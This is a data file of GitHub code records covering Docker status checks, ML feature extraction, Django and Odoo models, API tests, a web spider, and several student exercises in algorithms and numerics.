+{"seq_id":"19206716381","text":"import docker\n\ndef checkDockerContainerStatus( container):\n client = docker.from_env()\n #cli = docker.APIClient()\n if client.containers.list(filters={'name': container}):\n response = client.containers.list(filters={'name': container})\n return str(response[0].id)[:12]\n else:\n return None\n\nrunning_id = checkDockerContainerStatus('app-container')\n\nif running_id is not None:\n print(f\"Found! {running_id}\")\nelse:\n print(\"Container app-container is not found\")","repo_name":"ozlevka/environments-","sub_path":"python/python-docker/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"32637770623","text":"from tensorflow.keras import Model\nfrom tensorflow.keras.applications.vgg16 import preprocess_input\nfrom tensorflow.keras.preprocessing.image import img_to_array\nfrom tensorflow.keras.applications.vgg16 import VGG16\nimport numpy as np\nfrom os import listdir\nfrom pickle import dump\nimport cv2\nimport os\nimport skvideo\nskvideo.setFFmpegPath('D:\\\\data\\\\ffmpeg-20200831-4a11a6f-win64-shared\\\\bin')\nimport skvideo.io\nfrom tqdm import tqdm\n\n\ndef extract_frames_from_video(filename, num_of_frames):\n videodata = skvideo.io.vread(filename)\n total_frames = videodata.shape[0]\n sequence = np.linspace(\n 0, total_frames, num_of_frames, False, dtype=np.int32)\n videodata = videodata[sequence, :, :, :]\n return videodata\n\n\ndef create_model():\n model = VGG16()\n model.layers.pop()\n model = Model(inputs=model.input, outputs=model.layers[-2].output)\n print(model.summary)\n return model\n\n\ndef extract_features_from_video(video, name, model):\n features = []\n i = 0\n for frame in video:\n image = img_to_array(frame)\n image = cv2.resize(image, dsize=(224, 224),\n interpolation=cv2.INTER_CUBIC)\n image = image.reshape(\n (1, image.shape[0], image.shape[1], image.shape[2]))\n image = preprocess_input(image)\n feature = model.predict(image, verbose=0)\n features.append(feature.ravel())\n # print('>%s %s' % (name, i+1))\n i = i+1\n features = np.array(features)\n return features\n\n\ndir_path = os.getcwd()\nvideo_path = os.path.join(dir_path, 'dataset', 'YoutubeClips-small-train')\nvideo_list = os.listdir(video_path)\nfeature_path = os.path.join(dir_path, 'dataset', 'features-small-train')\nif not os.path.exists(feature_path):\n os.mkdir(feature_path)\nprint(os.path.exists(feature_path))\n\nmodel = create_model()\nfor i in tqdm(range(len(video_list)), 'Processing videos'):\n name = video_list[i]\n data = extract_frames_from_video(os.path.join(video_path, name), 20)\n features = extract_features_from_video(data, name, model)\n dump(features, open(os.path.join(\n feature_path, name.split('.')[0]+'.pkl'), 'wb'))\n","repo_name":"ArihantRawat/Video_Captioning","sub_path":"utils/video_utils.py","file_name":"video_utils.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"19986692558","text":"# coding: utf-8\n'''\nModel类\n'''\nimport logging\nlogger = logging.getLogger(\"entity\")\n\nimport time\nimport json\nimport traceback\nfrom copy import copy\nfrom datetime import date as datedate, timedelta\nfrom collections import OrderedDict\n\nfrom yy.utils import OrderedSet\nfrom .attributes import define\nimport fields\n\nclass EntityNotFoundError(Exception):\n pass\n\nclass CanNotCreateError(Exception):\n pass\n\nclass CanNotDeleteError(Exception):\n pass\n\nclass EntityExistsException(Exception):\n def __init__(self, key):\n self.key = key\n def __unicode__(self):\n return self.key\n\ndef recursive_var_set_save(fields, f):\n '递归取得公式属性依赖的所有持久化属性'\n if f.save:\n return OrderedSet([f])\n elif hasattr(f, 'var_set'):\n r = OrderedSet()\n for name in f.var_set:\n r |= recursive_var_set_save(fields, fields[name])\n return r\n else:\n return OrderedSet()\n\ndef recursive_var_set(fields, f):\n '递归取得公式属性依赖的所有普通属性'\n if hasattr(f, 'var_set'):\n r = OrderedSet()\n for name in f.var_set:\n r |= recursive_var_set(fields, fields[name])\n return r\n else:\n return OrderedSet([f])\n\ndef cycle(self, fields=None, now=None):\n if not now:\n now = int(time.time())\n tomorrow = int(time.mktime((datedate.fromtimestamp(now) + timedelta(days=1)).timetuple()))\n if not fields:\n fields = self.fields_list\n else:\n fields_ = fields\n fields = []\n for f in fields_:\n fields.append(self.fields[f])\n\n for field in fields:\n if not field.cycle:\n continue\n\n updatetime = getattr(self, field.timestamp, 0)#下次更新的时间\n if field.resume:\n if not updatetime:\n setattr(self, field.timestamp, now + field.resume)\n elif updatetime <= now:#下次更新的时间已经到了，或者已经过去了\n interval = now - updatetime#超过的时间\n multi = interval // field.resume + 1 #超过的周期数 + 原本的一个周期\n rest = interval % field.resume #未达一个周期的剩余的时间\n max = getattr(self, field.max)\n old = getattr(self, field.name)\n if old < max:\n new = min(old + multi * 1, max)\n setattr(self, field.name, new)\n setattr(self, field.timestamp, now + field.resume - rest)#设置下次更新时间\n else:\n if updatetime:\n if datedate.fromtimestamp(updatetime) <= datedate.fromtimestamp(now):\n if callable(field.default):\n default = field.default()\n else:\n default = field.default\n setattr(self, field.name, default)\n setattr(self, field.timestamp, tomorrow)\n\nclass EntityBase(type):\n store_tags = {}\n def __new__(cls, name, bases, attrs):\n super_new = super(EntityBase, cls).__new__\n attrs = attrs.copy()\n\n #assert attrs['store_tag'] not in EntityBase.store_tags\n\n parents = [b for b in bases if isinstance(b, EntityBase)]\n if not parents:\n return super_new(cls, name, bases, attrs)\n\n new_cls = super_new(cls, name, bases, attrs)\n EntityBase.store_tags[attrs['store_tag']] = new_cls\n\n fields_list = []\n for p in parents:\n fields_list += p.fields_list\n\n new_list = []\n for fname, f in attrs.items():\n if isinstance(f, fields.Field):\n f.set_name(fname)\n new_list.append(f)\n del attrs[fname]\n\n new_list.sort(key=lambda o:o.creation_counter)\n fields_list += new_list\n\n fields_map = dict((f.name, f) for f in fields_list)\n fields_ids_map = dict((f.id, f) for f in fields_list)\n\n for f in fields_list:\n f.init_class(new_cls)\n\n setattr(new_cls, 'fields_list', fields_list)\n setattr(new_cls, 'fields', fields_map)\n setattr(new_cls, 'fields_ids_map', fields_ids_map)\n\n return new_cls\n\nclass Entity(object):\n __metaclass__ = EntityBase\n fields_list = []\n fields_map = {}\n fields_ids_map = {}\n\n def __init__(self, *args, **kwargs):\n self._initialized = False\n\n self._dirty_fields = set()\n self._sync_dirty_fields = set()\n #确保所有公式属性都被计算一次\n self._form_dirty_fields = set([f.name for f in self.fields_list if f.formula])\n\n for i, f in enumerate(self.fields_list):\n\n if f.private_name:\n setattr(self, f.private_name, None)\n\n if i < len(args):\n value = args[i]\n elif f.name in kwargs:\n value = kwargs[f.name]\n else:\n value = f.default\n if callable(value):\n value = value()\n if f.type in ('json', 'sequence', 'object'):\n f.init_instance(self, copy(value))\n else:\n f.init_instance(self, value)\n\n self._initialized = True\n\n def __setattr__(self, name, value):\n if name[0]!='_' and self._initialized:\n # check name\n if name not in self.__class__.fields:\n raise Exception('field %s is not exists' % name)\n \n return super(Entity, self).__setattr__(name, value)\n\n def __unicode__(self):\n return ','.join('%s=%s' % (f.name, getattr(self, f.private_name)) for f in self.fields_list if f.private_name)\n\n def __str__(self):\n return unicode(self).encode('utf-8')\n\n def has_dirty(self):\n return bool(self._dirty_fields)\n\n def set_dirty(self, name):\n self._dirty_fields.add(name)\n\n def get_dirty(self):\n return self._dirty_fields\n\n def pop_dirty(self):\n fs = self._dirty_fields\n self._dirty_fields = set()\n return fs\n\n def is_dirty(self, name):\n return name in self._dirty_fields\n\n def set_sync_dirty(self, name):\n self._sync_dirty_fields.add(name)\n\n def get_sync_dirty(self):\n return self._sync_dirty_fields\n\n def is_sync_dirty(self, name):\n return name in self._sync_dirty_fields\n\n def remove_sync_dirty(self,fields):\n s = self._sync_dirty_fields\n d = s - fields\n self._sync_dirty_fields = d\n return s & fields\n\n def pop_sync_dirty(self,syncSence = True):\n s = set()\n fs = self._sync_dirty_fields - s\n self._sync_dirty_fields = s\n return fs\n\n def set_form_dirty(self, name):\n self._form_dirty_fields.add(name)\n\n def is_form_dirty(self, name):\n return name in self._form_dirty_fields\n\n def pop_form_dirty(self, name):\n try:\n self._form_dirty_fields.remove(name)\n except KeyError:\n pass\n \n def validate(self):\n excs = []\n for f in self.fields_list:\n if f.private_name:\n try:\n f.validate(getattr(self, f.private_name))\n except fields.ValidationError as e:\n excs.append(e)\n\n if excs:\n raise fields.ValidationError('\\n'.join(map(str, excs)))\n\n cycle = cycle\n\n def pop_dirty_values(self):\n return [(name, getattr(self, name)) for name in self.pop_dirty()]\n\n @classmethod\n def getAttributeByID(cls, id):\n return cls.fields_ids_map[id]\n\n @classmethod\n def getAttributeIDByName(cls, name):\n return cls.fields[name].id\n\ndef init_fields(fields):\n fieldsmap = OrderedDict()\n unique_id_set = set()\n for field in fields:\n if field.cycle:\n if isinstance(field.timestamp, int):\n #自动生成时间属性\n ts_id = isinstance(field.timestamp, int) and field.timestamp or field.id+1\n field_ts = define(ts_id, '%s_ts'%field.name, 'integer', '', save=True)\n fieldsmap[field_ts.name] = field_ts \n field.timestamp = field_ts.name\n assert field_ts.id not in unique_id_set, '属性id 0x0%x `%s` 已经被定义过了(cycle属性占两个ID)。'%(field_ts.id, field_ts.name)\n unique_id_set.add(field_ts.id)\n\n fieldsmap[field.name] = field\n assert field.id not in unique_id_set, '属性id 0x0%x `%s` 已经被定义过了(cycle属性占两个ID)。'%(field.id, field.name)\n unique_id_set.add(field.id)\n\n #检查时间属性和属性最大值\n for name, field in fieldsmap.items():\n if field.cycle:\n assert field.timestamp in fieldsmap, 'field `{}` 的时间属性 `{}` 不存在。'.format(field.name, field.timestamp)\n if isinstance(field.max, basestring):\n assert field.max in fieldsmap, 'field `{}` 的最大值 `{}` 不存在。'.format(field.name, field.max)\n\n # 处理公式属性关联\n for f in fieldsmap.values():\n f.effect_set = OrderedSet()\n f.depend_set = OrderedSet()\n\n for f in fieldsmap.values():\n f.depend_set_save = recursive_var_set_save(fieldsmap, f)\n try:\n f.depend_set_save.remove(f)\n except KeyError:\n pass\n f.depend_set = recursive_var_set(fieldsmap, f)\n try:\n f.depend_set.remove(f)\n except KeyError:\n pass\n if f.cache:\n for f1 in f.depend_set:\n f1.effect_set.add(f)\n\n for name, field in fieldsmap.items():\n field.set_name(name)\n\n return fieldsmap\n\ndef create_class(classname, fieldsmap, store_tag):\n return EntityBase(classname, (Entity, ), dict(fieldsmap, store_tag=store_tag))\n\ndef gen_cython(fields_list, classname, import_pure, store_tag, extra_imports=''):\n import os\n from mako.template import Template\n path = os.path.join(os.path.dirname(__file__), 'entity_tpl.mako')\n return Template(filename=path, module_directory='/tmp', output_encoding='utf-8').render(**locals())\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()\n","repo_name":"xiaouC/test3.10","sub_path":"server/yylib/yy/entity/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":10162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"}
+{"seq_id":"18179870748","text":"from __future__ import annotations\n\nfrom django.utils import timezone\nfrom django.utils.safestring import mark_safe\nfrom django.db import models\n\nfrom image_labelling_tool import models as lt_models\n\nfrom .choices import PREFIXO_CHOICES, PERIODO_CHOICES\n\nimport json\n\nfrom utils.dataframe import *\n\nfrom typing import TYPE_CHECKING\n\nif TYPE_CHECKING:\n from django.db.models import Manager\n\n\nclass Labels(lt_models.Labels):\n def save(self, *args, **kwargs):\n poly = json.loads(self.labels_json_str)\n poly = poly[0] if poly else {}\n\n if poly:\n self.fotoordenha.set_dewarped(poly)\n self.fotoordenha.set_bbox()\n\n return super().save(*args, **kwargs)\n\n class Meta:\n proxy = True\n verbose_name = \"Label Set\"\n verbose_name_plural = \"Label Sets\"\n\n\nclass Fazenda(models.Model):\n nome = models.CharField(max_length=255, null=False, blank=False)\n cidade = models.CharField(max_length=255, null=False, blank=False)\n\n\nclass Vaca(models.Model):\n numero = models.IntegerField(null=False, blank=False)\n nome = models.CharField(max_length=255, null=False, blank=False)\n prefixo = models.CharField(\n max_length=31, choices=PREFIXO_CHOICES, null=True, blank=True\n )\n nome_ideagri = models.CharField(max_length=255, null=True, blank=True)\n foto = models.ImageField(null=True, blank=True)\n fazenda = models.ForeignKey(\n Fazenda, null=True, blank=True, on_delete=models.SET_NULL\n )\n\n class Meta:\n unique_together = (\n \"numero\",\n \"nome\",\n )\n\n @property\n def image_tag(self):\n try:\n return mark_safe(f'![](\"{self.foto.url}\")
')\n except Exception:\n return \"\"\n\n\nclass Ordenha(models.Model):\n foto = models.ForeignKey(\n \"FotoOrdenha\", null=True, blank=True, on_delete=models.SET_NULL\n )\n numero = models.IntegerField(null=True, blank=True)\n nome = models.CharField(\n max_length=255,\n null=True,\n blank=True,\n )\n peso_manha = models.FloatField(null=True, blank=True)\n peso_tarde = models.FloatField(null=True, blank=True)\n\n vaca = models.ForeignKey(Vaca, null=True, blank=True, on_delete=models.SET_NULL)\n\n data = models.DateField(null=True, blank=True)\n\n\nclass OrdenhaDetectada(models.Model):\n foto = models.ForeignKey(\n \"FotoOrdenha\", null=True, blank=True, on_delete=models.SET_NULL\n )\n\n ordenha = models.OneToOneField(\n Ordenha, blank=True, null=True, on_delete=models.SET_NULL\n )\n numero = models.CharField(max_length=255, null=True, blank=True)\n nome = models.CharField(\n max_length=255,\n null=True,\n blank=True,\n )\n peso_manha = models.CharField(max_length=255, null=True, blank=True)\n peso_tarde = models.CharField(max_length=255, null=True, blank=True)\n\n\nclass FotoOrdenha(models.Model):\n ordenha_set: Manager[Ordenha]\n ordenhadetectada_set: Manager[OrdenhaDetectada]\n\n labels = models.OneToOneField(\n Labels,\n related_name=\"fotoordenha\",\n blank=True,\n null=False,\n on_delete=models.CASCADE,\n )\n original = models.ImageField()\n dewarped = models.ImageField(null=True, blank=True)\n\n bbox = models.ImageField(null=True, blank=True)\n bounds = models.TextField(null=True, blank=True)\n\n class Meta:\n verbose_name = \"Foto de Ordenhas\"\n verbose_name_plural = \"Fotos de Ordenhas\"\n\n def set_dewarped(self, poly=None):\n if self.dewarped and poly is None:\n return\n from utils.geometry import get_dewarped_poly_with_lines, get_contour\n\n full_path = self.original.path\n image = get_dewarped_poly_with_lines(full_path, poly=poly)\n\n self.dewarped.save(f\"dewarped-{self.original.name}\", image)\n self.bbox.delete()\n\n def set_bbox(self):\n from utils.geometry import get_bbox, bounds_to_dict\n\n if self.bbox or not self.dewarped:\n return\n image, bounds = get_bbox(self.dewarped.path)\n self.bounds = bounds\n self.bbox.save(f\"bbox-{self.original.name}\", image)\n\n self.save()\n\n def save(self, *args, **kwargs):\n try:\n self.labels\n except Exception:\n self.labels = Labels.objects.create(creation_date=timezone.now())\n\n super().save(*args, **kwargs)\n\n def get_ordenha(self):\n table = get_table(self.dewarped.path)\n\n self.ordenha_set.all().delete()\n self.ordenhadetectada_set.all().delete()\n\n vacas = Vaca.objects.values_list(\"numero\", \"nome\")\n\n for num, nome, p1, p2 in process_table(table):\n\n auto_num, auto_nome = closest_vaca((num, nome), vacas)\n\n auto_p1 = fix_peso(p1)\n auto_p2 = fix_peso(p2)\n\n auto_num = auto_num or None\n auto_nome = auto_nome or None\n\n ordenhadetecatada, _ = OrdenhaDetectada.objects.get_or_create(\n foto=self,\n numero=num,\n nome=nome,\n peso_manha=p1,\n peso_tarde=p2,\n )\n\n vaca = Vaca.objects.filter(numero=auto_num, nome=auto_nome).first()\n\n Ordenha.objects.get_or_create(\n foto=self,\n ordenhadetectada=ordenhadetecatada,\n vaca=vaca,\n numero=auto_num,\n nome=auto_nome,\n peso_manha=auto_p1,\n peso_tarde=auto_p2,\n )\n","repo_name":"sprezz-arthur/gestao-fazenda","sub_path":"fazenda/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"25956311048","text":"import pytest\nfrom httpx import AsyncClient\nfrom pyle38 import Tile38\nfrom starlite.status_codes import HTTP_200_OK, HTTP_201_CREATED, HTTP_404_NOT_FOUND\n\nkey = \"fleet\"\nid = \"truck1\"\nlat = 52.25\nlon = 13.37\n\nfeature = {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": [lon, lat]},\n \"properties\": {\"id\": id},\n}\n\n\n@pytest.mark.asyncio\nasync def test_get_vehicle(test_client: AsyncClient, tile38: Tile38):\n await tile38.set(key, id).object(feature).exec()\n\n response = await test_client.get(f\"/vehicles/{id}\")\n\n assert response.status_code == HTTP_200_OK\n\n\n@pytest.mark.asyncio\nasync def test_get_vehicle_notfound(test_client: AsyncClient):\n response = await test_client.get(\"/vehicles/banana\")\n\n assert response.status_code == HTTP_404_NOT_FOUND\n assert response.json() == {\n \"detail\": \"vehicle with id 'banana' not found\",\n \"status_code\": 404,\n }\n\n\n@pytest.mark.asyncio\nasync def test_set_vehicle(test_client: AsyncClient, tile38: Tile38):\n post = await test_client.post(\"/vehicles\", json={\"data\": feature})\n\n assert post.status_code == HTTP_201_CREATED\n\n response = await tile38.get(key, id).asObject()\n\n assert response.object == feature\n","repo_name":"iwpnd/starlite-tile38","sub_path":"src/tests/test_vehicles.py","file_name":"test_vehicles.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"28"}
+{"seq_id":"5311631502","text":"'''\n1부터 N까지의 모든 자연수로 구성된 길이 N의 수열이 주어집니다.\n이 수열의 왼쪽 맨 끝 숫자 또는 오른쪽 맨 끝 숫자 중 하나를 가져와 나열하여 가장 긴 증가수열\n을 만듭니다. 이때 수열에서 가져온 숫자(왼쪽 맨 끝 또는 오른쪽 맨 끝)는 그 수열에서 제거됩니\n다.\n예를 들어 2 4 5 1 3 이 주어지면 만들 수 있는 가장 긴 증가수열의 길이는 4입니다.\n맨 처음 왼쪽 끝에서 2를 가져오고, 그 다음 오른쪽 끝에서 3을 가져오고, 왼쪽 끝에서 4,\n왼쪽 끝에서 5를 가져와 2 3 4 5 증가수열을 만들 수 있습니다.\n'''\nimport sys\nsys.stdin=open(\"input.txt\", \"rt\")\nn=int(input())\na=list(map(int, input().split()))\nlt=0\nrt=n-1\n# lt rt 포인터 둠\n# 2 4 5 1 3\n# last보다 lt, rt가 크므로\n# (2,L) (3,R) 튜플 형식으로 대고 더 작은 값인 2 선택 -> last로 삽입\nlast=0\n# 문자열 넣을 변수\nres=\"\"\ntmp=[]\nwhile lt<=rt:\n if a[lt]>last:\n tmp.append((a[lt], 'L'))\n if a[rt]>last:\n tmp.append((a[rt], 'R'))\n tmp.sort()\n # 아무값도 들어가지 않은 경우\n if len(tmp)==0:\n break\n else:\n # 0번은 제일 첫번째 값을 뜻하고 1번은 tuple값에서 위치(L/R)을 뜻함\n res=res+tmp[0][1]\n last=tmp[0][0]\n # tmp에 L이 들어간 경우 lt 포인터를 오른쪽으로 이동\n if tmp[0][1]=='L':\n lt+=1\n # R이 들어간 경우 rt 포인터를 왼쪽으로 이동\n else:\n rt-=1\n tmp.clear()\n#문자열의 길이가 바로 수열의 길이\nprint(len(res))\nprint(res)\n ","repo_name":"solnip/Inflearn-Algorithm","sub_path":"이분탐색(결정알고리즘)&그리디알고리즘/증가수열(그리디).py","file_name":"증가수열(그리디).py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"13292751300","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 12 07:28:25 2021\n\n@author: pulle\n\"\"\"\nimport os\nimport csv\n\nelection_data_csv = os.path.join(\"Resources\", \"election_data.csv\")\n\n# def print_percentages(budget_data):\n# months = str(budget_data[0])\n# profit = str(budget_data[1])\n\ncount = 0\ncandidatelist = []\nunique_candidate = []\nvote_count = []\nvote_percent = []\n\n# Open election_data_csv\n\nwith open(election_data_csv, newline=\"\") as csvfile:\n csvreader = csv.reader(csvfile, delimiter=\",\")\n csv_header = next(csvreader)\n for row in csvreader:\n #count number of votes\n count = count + 1\n # create and add list for candidates\n candidatelist.append(row[2])\n for x in set(candidatelist):\n unique_candidate.append(x)\n # set variable for number of votes per candidate\n y = candidatelist.count(x)\n vote_count.append(y)\n # variable for percent of votes per candidate\n z = (y/count)*100\n round(z, 2)\n vote_percent.append(z)\n vote_percent_round = [round(y, 2) for y in vote_percent] \n\n \n \n \n winning_vote_count = max(vote_count)\n winner = unique_candidate[vote_count.index(winning_vote_count)]\n\n\n \nprint(\"-------------------------\")\nprint(\"Election Results\") \nprint(\"-------------------------\")\nprint(\"Total Votes :\" + str(count)) \nprint(\"-------------------------\")\nfor i in range(len(unique_candidate)):\n print(unique_candidate[i] + \": \" + str(vote_percent_round[i]) +\"% (\" + str(vote_count[i])+ \")\")\nprint(\"-------------------------\")\nprint(\"The winner is: \" + winner)\nprint(\"-------------------------\")\n\n\n\nwith open('election_results.txt', 'w') as text:\n text.write(\"Election Results\\n\")\n text.write(\"---------------------------------------\\n\")\n text.write(\"Total Vote: \" + str(count) + \"\\n\")\n text.write(\"---------------------------------------\\n\")\n for i in range(len(set(unique_candidate))):\n text.write(unique_candidate[i] + \": \" + str(vote_percent_round[i]) +\"% (\" + str(vote_count[i]) + \")\\n\")\n text.write(\"---------------------------------------\\n\")\n text.write(\"The winner is: \" + winner + \"\\n\")\n text.write(\"---------------------------------------\\n\")\n","repo_name":"mattinglyjen/python-challenge","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"74306719114","text":"from ._spider.user_info_spider import UserSpider\nfrom ._spider.user_post_spider import UserPostSpider\nfrom scrapy import Request\n\nclass wb_spider(UserSpider, UserPostSpider):\n name = 'wb_spider'\n\n def init(self, uid, *args, **kwargs):\n super(wb_spider, self).__init__()\n \n def start_requests(self):\n uid_list = self.get_uid_list(self.uid)\n for uid in uid_list:\n u_url = self._u_generator.gen_url(uid)\n yield Request(\n url=u_url, dont_filter=True, callback=self._parse_profile, errback=self.parse_err, meta={'uid': uid}\n )\n p_url = self._up_generator.gen_url(uid=uid, page=None)\n yield Request(\n url=p_url, dont_filter=True, callback=self._parse_post, errback=self.parse_err, meta={'uid': uid, 'last_page': 0}\n )\n ","repo_name":"LonelVino/Spider","sub_path":"wb_spider/spiders/wb_spider.py","file_name":"wb_spider.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"}
+{"seq_id":"9156744397","text":"from glob import glob\nimport torch\nimport cv2\nimport numpy as np\nimport torch.nn as nn\nimport matplotlib.pyplot as plt\ndef data_loader():\n file_path = 'data/test_image/*.png'\n file_list =sorted(glob(file_path))\n test_data = np.empty((0, 1, 28, 28))\n for img_path in file_list:\n img = cv2.imread(img_path, 0)\n img = cv2.resize(img, (28, 28))\n img = np.reshape(img,(1, 1, 28, 28))\n test_data = np.concatenate([test_data, img], axis=0)\n return torch.from_numpy(test_data/255.).type(torch.FloatTensor)\nclass CNN(nn.Module):\n def __init__(self):\n super(CNN, self).__init__()\n self.conv1 = nn.Sequential( # (1, 28, 28)\n nn.Conv2d(\n in_channels=1, # 图片的channel，因为是灰度图，如果是rgb图，则是3，相当于输入filter的个数.\n out_channels=16, # 输出filter的个数。同一个区域用16个filter进行卷积.\n kernel_size=5,\n stride=1, # 步长\n padding=2 # 边缘填充0，如果stride = 1, padding =(kernel_size - 1)/2 = (5 - 1) / 2\n ),\n nn.ReLU(), # ->(16, 28, 28)\n nn.MaxPool2d(kernel_size=2) # ->(16, 14, 14)\n )\n self.conv2 = nn.Sequential(\n nn.Conv2d(16, 32, 5, 1, 2), # 和上面顺序一致 # ->(32, 14, 14)\n nn.ReLU(),\n nn.MaxPool2d(2) # ->(32, 7, 7)\n )\n self.out = nn.Linear(32 * 7 * 7, 10)\n\n def forward(self, x):\n x = self.conv1(x) # (batch, 32, 7 ,7)\n x = self.conv2(x)\n x = x.view(x.size(0), -1) # (batch, 32 * 7 * 7)\n output = self.out(x)\n return output\n\ntest_data = data_loader()\ncnn_model = torch.load('cnn.pkl')\npred_y = cnn_model(test_data)\npred_y = torch.max(pred_y, 1)[1].data.numpy()\ntest_data =test_data.numpy()\ntest_data *= 255\ntest_data = np.reshape(test_data,(-1, 28, 28))\nfinal_image = np.empty(shape=(28, 28 * 5))\nfor i in range(4):\n tmp = np.empty(shape=(28, 28))\n for j in range(4):\n tmp = np.concatenate([tmp, test_data[i * 4 + j]], axis= 1)\n final_image = np.concatenate([final_image, tmp], axis=0)\n\n\nprint(pred_y)\nfinal_image = np.uint(final_image)\nplt.imshow(final_image)\nplt.show()","repo_name":"GracefulMan/torch_learning","sub_path":"test_my_cnn.py","file_name":"test_my_cnn.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"14268414205","text":"import numpy as np\nimport matplotlib.pyplot as plot\n\n#Einlesen der Daten\nh = 10**(-5)\nt0 = 0\nT = 100\nt = h*np.arange(T/h+1)\nx0 = np.transpose([0, -1, 0, 1])\n\nB = np.identity(4)\nA = np.array( ((0,0,0,0), (1,0,0,0), (0,1,0,0), (0,0,1,0)) )\nq = np.empty([4,T/h+1])\nq[0] = np.sin(t)\n\n#Berechnen der Inversen Matrix 1/h*A+B\nInv = np.linalg.solve(1.0/h*A+B,np.identity(4))\n\n#Erstellen eines leeren Arrays zur Speicherung der Approximation der Lösung der DAE\nx = np.empty([4,T/h+1])\nnp.transpose(x)[0] = x0\n\n#Berechnen der Approximation der Lösung mittels impliziten Euler\nfor i in range(1, int(T/h+1)):\n np.transpose(x)[i] = np.dot(Inv,np.transpose(q)[i]+1.0/h*np.dot(A,np.transpose(x)[i-1]))\n\n#Berechnen der exakten Lösung der DAE an den Stützstellen\nxsol = np.empty([4,T/h+1])\nxsol[0] = np.sin(t)\nxsol[1] = -np.cos(t)\nxsol[2] = -np.sin(t)\nxsol[3] = np.cos(t)\n\ne = x-xsol\n\n#Plotten der komponentenweisen Fehler\nplot.plot(t[np.arange(int(T/(10*h)))*10],e[0][np.arange(int(T/(10*h)))*10])\nplot.xlabel('t')\nplot.ylabel('e_1,n')\nplot.title('global error for x_1')\nplot.show()\n\nplot.plot(t[np.arange(int(T/(10*h)))*10],e[1][np.arange(int(T/(10*h)))*10])\nplot.xlabel('t')\nplot.ylabel('e_2,n')\nplot.title('global error for x_2')\nplot.show()\n\nplot.plot(t[np.arange(int(T/(100*h)))*100],e[2][np.arange(int(T/(100*h)))*100])\nplot.xlabel('t')\nplot.ylabel('e_3,n')\nplot.title('global error for x_3')\nplot.show()\n\nplot.plot(t[np.arange(int(T/(1000*h)))*1000],e[3][np.arange(int(T/(1000*h)))*1000])\nplot.xlabel('t')\nplot.ylabel('e_4,n')\nplot.title('global error for x_4')\nplot.show()\n\n","repo_name":"raphaelzoellner/Implicit-Euler-for-differential-algebraic-equation","sub_path":"NumDAESerie2.py","file_name":"NumDAESerie2.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"33925188474","text":"# -*- coding: utf-8 -*-\n# importamos el servicio fields para poder crear los campos para guardar los datos de los alumnos\n# importamos el servicio models para poder administrar la base de datos donde se guardarán los campos creados\nfrom odoo import api, fields, models, _\n# importo un servicio que me permite mostar alertas al usuario cuando sea necesario\nfrom odoo.exceptions import ValidationError\n# declaro una clase llamada Alumnos que hereda todas las propiedades de la clase model.Model\nimport requests as req2\n\nclass Alumnos(models.Model):\n _name = \"curso.alumnos\"\n _description = \"Alumnos Python Odoo\"\n _order = \"id desc\"\n\n name = fields.Char(string='Nombre')\n edad = fields.Integer(string='Edad')\n sexo = fields.Selection([\n ('masculino', 'Masculino'),\n ('femenino', 'Femenino'),\n ('otro', 'Otro'),\n ], required=True, default='femenino', tracking=True)\n categoria = fields.Char(string=\"Categoría\", compute='_cal_categoria', store=True)\n cursos = fields.Many2one('curso.cursos',string=\"Cursos\")\n persona = fields.Many2many('res.partner', string=\"Persona\", tracking=True, help='Seleccione un tutor')\n\n @api.onchange('edad')\n def check_edad_menor_10(self):\n if self.edad < 10 and self.edad > 0:\n\n return {'warning': {'title': _(\"Warning\"), 'message': 'Menor de edad'}}\n\n @api.depends('edad')\n def _cal_categoria(self):\n edad = self[0]['edad']\n if edad > 17:\n self[0]['categoria'] = \"Mayor de Edad\"\n else:\n self[0]['categoria'] = \"Menor de Edad\"\n\n\n @api.constrains('edad')\n def check_age(self):\n for rec in self:\n if rec.edad == 0 or rec.edad > 100:\n raise ValidationError(\"La edad inválida\")\n\n\n def cant_mayores(self):\n cant = 0\n for e in self:\n if e.edad > 17:\n cant = cant + 1\n\n mensaje = f'La cantidad de mayores de edad es: {cant}'\n\n try:\n url = f\"https://curso-python-odoo-flask.alejandrosartor.repl.co/mensaje/{mensaje}\"\n x = req2.get(url)\n except:\n pass\n\n raise ValidationError(mensaje)\n","repo_name":"wsf/curso_python_odoo","sub_path":"clase5/models/alumnos.py","file_name":"alumnos.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"}
